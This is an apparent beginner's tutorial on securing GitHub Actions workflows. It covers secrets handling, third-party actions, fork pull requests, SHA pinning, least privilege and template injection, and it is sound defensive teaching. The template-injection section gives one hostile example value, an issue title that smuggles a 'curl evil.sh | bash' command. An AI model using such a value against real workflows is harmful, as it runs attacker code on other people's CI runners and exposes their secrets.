You may not realise it, but your GitHub Actions workflows have access to your secrets, can modify your code, and can deploy malicious code to production without you noticing. A poorly secured workflow is an open door for attackers.
Why does CI/CD pipeline security matter?
Your CI/CD pipeline is a prime target:
Concretely, your pipeline:
- has access to secrets: API tokens, database passwords, cloud deployment keys;
- can publish packages: to npm, PyPI, Docker Hub, or your private registry;
- can deploy to production: changing what runs on your servers;
- executes code on machines: potentially with internal network access.
An attacker who compromises your pipeline can do all of that in your place. It is as if they held the keys to your infrastructure.
What is a supply chain attack?
A supply chain attack does not target you directly. It targets something you use.
Inside GitHub Actions
There is no flaw in your code, and yet:
- an action you use is compromised;
- an npm dependency you install carries malicious code;
- a base container image has been tampered with.
Real supply chain attacks
Here are a few well-known attacks on the software supply chain:
| Year | Attack | What happened |
|---|---|---|
| 2021 | Codecov | A modified download script stole CI secrets |
| 2022 | ua-parser-js | A popular npm package was infected and mined crypto |
| 2024 | xz-utils | A backdoor hidden in a Linux compression library |
These attacks hit thousands of companies without any mistake on their part in their own code.
The three main risks
Here are the three most common security risks in GitHub Actions.
1. Exposed secrets
What is a secret? A secret is a piece of confidential information your application needs to work: a database password, an API key for an external service, an access token for a Docker registry. Think of them as the keys to your house: if someone finds them, they can walk in.
Why is it a problem in workflows? Your workflow often needs those secrets to deploy, publish a package or reach a service. The danger is exposing them by accident.
Two classic mistakes:
# ❌ Mistake 1: the secret is hardcoded# Anyone can read it in the Git history!- run: curl -H "Authorization: Bearer sk-123456789"
# ❌ Mistake 2: printing a secret to "debug"# It shows up in the logs, visible to every collaborator- run: echo "Debug: ${{ secrets.API_KEY }}"The good practice: store your secrets in GitHub (Settings, then Secrets) and
reference them with ${{ secrets.NAME }}. GitHub masks them automatically in
the logs.
# ✅ The secret lives in GitHub, not in the code# Nobody can read it, not even in the Git history- run: curl -H "Authorization: Bearer ${{ secrets.API_KEY }}"2. Unverified third-party actions
What is an action? A GitHub action is a reusable piece of code that someone
has published. Instead of rewriting the logic to "check out the code" or
"publish to npm", you use an existing action with uses:.
Why is it convenient? It saves you from reinventing the wheel. The community has built thousands of actions for everything: deploying to AWS, sending a Slack notification, analysing code.
Why is it risky? When you write uses: someone/super-action@v1, you run
code written by a stranger on your runners. That code can reach everything your
workflow can reach, including your secrets.
It is like inviting a stranger into your home and handing them your keys. Maybe they are trustworthy, maybe not.
# ⚠️ Questions worth asking:# - Who is "random-user"? A company? An individual?# - What does this action really do? Have I read the code?# - Is it maintained? Last updated three years ago?- uses: random-user/deploy-magic@v1 with: token: ${{ secrets.DEPLOY_KEY }} # We are handing over our keys!The good practice: only use actions from trustworthy sources (GitHub, large companies, popular projects) and pin them by SHA to avoid surprise changes, as covered below.
3. Code from pull requests
What is a pull request (PR)? A PR is a proposed change to the code. On an open source project, anyone can fork the repository (make their own copy), change the code, then propose the change through a PR.
Why is it an attack vector? By default, when someone opens a PR, the repository's workflows run to test the proposed code. So an attacker can:
- fork your repository (create their own copy);
- modify the workflow so it prints or ships your secrets somewhere;
- open a PR against your repository;
- collect your secrets when the workflow runs.
The good news: GitHub anticipated this. By default, workflows triggered by PRs coming from forks have no access to secrets. The attacker can modify the workflow, but they will collect nothing.
The golden rule: never disable that protection, and be wary of
pull_request_target, which bypasses it.
The basic reflexes
To secure your GitHub Actions workflows, adopt these six simple reflexes.
1. Vet an action before using it
Before adding a new action, ask yourself:
- Who created it? (GitHub, a known company, a stranger?)
- Is it maintained? (recent update?)
- How many people use it? (popular means more eyes on it)
- Do I really need an action? (sometimes a plain
run:is enough)
2. Pin actions by SHA
The problem with tags (@v1, @latest) is that they can move.
# ❌ If someone changes what "v4" points to, your workflow changes- uses: actions/checkout@v4
# ✅ A SHA is immutable, nobody can alter it- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2The SHA (the long string) points at an exact version of the code. Even if the action maintainer is compromised, your workflow keeps using the version you vetted.
- Go to the action's repository (for example github.com/actions/checkout)
- Click "Releases"
- Find the version you want
- Copy the commit SHA
Or use pin-github-action to do it automatically:
npx pin-github-action .github/workflows/ci.yml3. Restrict the permissions
By default, apply the principle of least privilege:
# ✅ Explicit, minimal permissionspermissions: contents: read # Only read the code, never modify it
jobs: test: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - run: npm testIf your workflow is compromised and only holds contents: read, the attacker
cannot modify your code.
4. Never store secrets in the code
It sounds obvious, and it is still the most frequent mistake. Secrets belong in GitHub (Settings, then Secrets and variables, then Actions), never in the code, not even "temporarily".
# ❌ NEVER: the secret stays visible in the Git history foreverenv: API_KEY: "sk-1234567890abcdef"
# ✅ The secret lives in GitHub, referenced by nameenv: API_KEY: ${{ secrets.API_KEY }}Even if you delete the commit, it remains in the history. If you have committed a secret by mistake, treat it as compromised and rotate it immediately.
5. Do not trust PRs from forks
This is GitHub's default behaviour, so leave it alone:
on: pull_request: # ✅ No access to secrets for forks
# DANGEROUS: pull_request_target does grant access to secrets# Do not use it without understanding the risks6. Never inject untrusted data into your scripts
An issue title, a PR body, a commit message: those are data controlled from
the outside. Inserting them directly with ${{ }} inside a run: block lets
an attacker execute their own commands on your runner. This is template
injection, the most common flaw in GitHub Actions.
# ❌ The issue title is injected verbatim into the shell- run: echo "New issue ${{ github.event.issue.title }}"
# ✅ The data travels through an environment variable- run: echo "New issue $ISSUE_TITLE" env: ISSUE_TITLE: ${{ github.event.issue.title }}A title such as "; curl evil.sh | bash # would run arbitrary code in the first
version. In the second, it stays a plain string with no power.
Recap: the basic checklist
Before putting a workflow into production:
Secrets and permissions:
- No secrets in the code, use
${{ secrets.* }} - No injection, external data passed through
env:, never interpolated directly intorun: - Permissions declared,
permissions:at the top of the workflow with the minimum needed - No
permissions: write-all, list only what you actually need
Actions and dependencies:
- Actions vetted, from a known and maintained source
- Spelling checked, no typosquatting (
actions/checkout, notaction/checkout) - Dependencies assessed, use OpenSSF Scorecard to check a project's security maturity
- Actions pinned by SHA, no
@v1and no@latest
Pull requests:
- No
pull_request_target, unless you understand the risks - Approval required for workflows on PRs from outside contributors
Advanced good practices:
- Dependabot enabled, for automatic action updates
- Branch protection, requiring reviews and checks before merge
- Regular audits, periodically reviewing the actions in use
Key points
This page covers the fundamentals of GitHub Actions security. It is a first step: you will meet further good practices later on (OIDC, attestations, self-hosted runners).
Yes, it is a lot at once. But if you read this page to the end and apply these principles, you already have an edge over most developers. CI/CD security is a subject few people truly master, and you are on the right path.
Next steps
- Managing secrets in GitHub: where to store tokens and passwords, and how to use them without leaking them.
- Choosing Marketplace actions: the criteria that separate a safe action from a liability.
- GITHUB_TOKEN permissions: the deep dive on least privilege, job by job.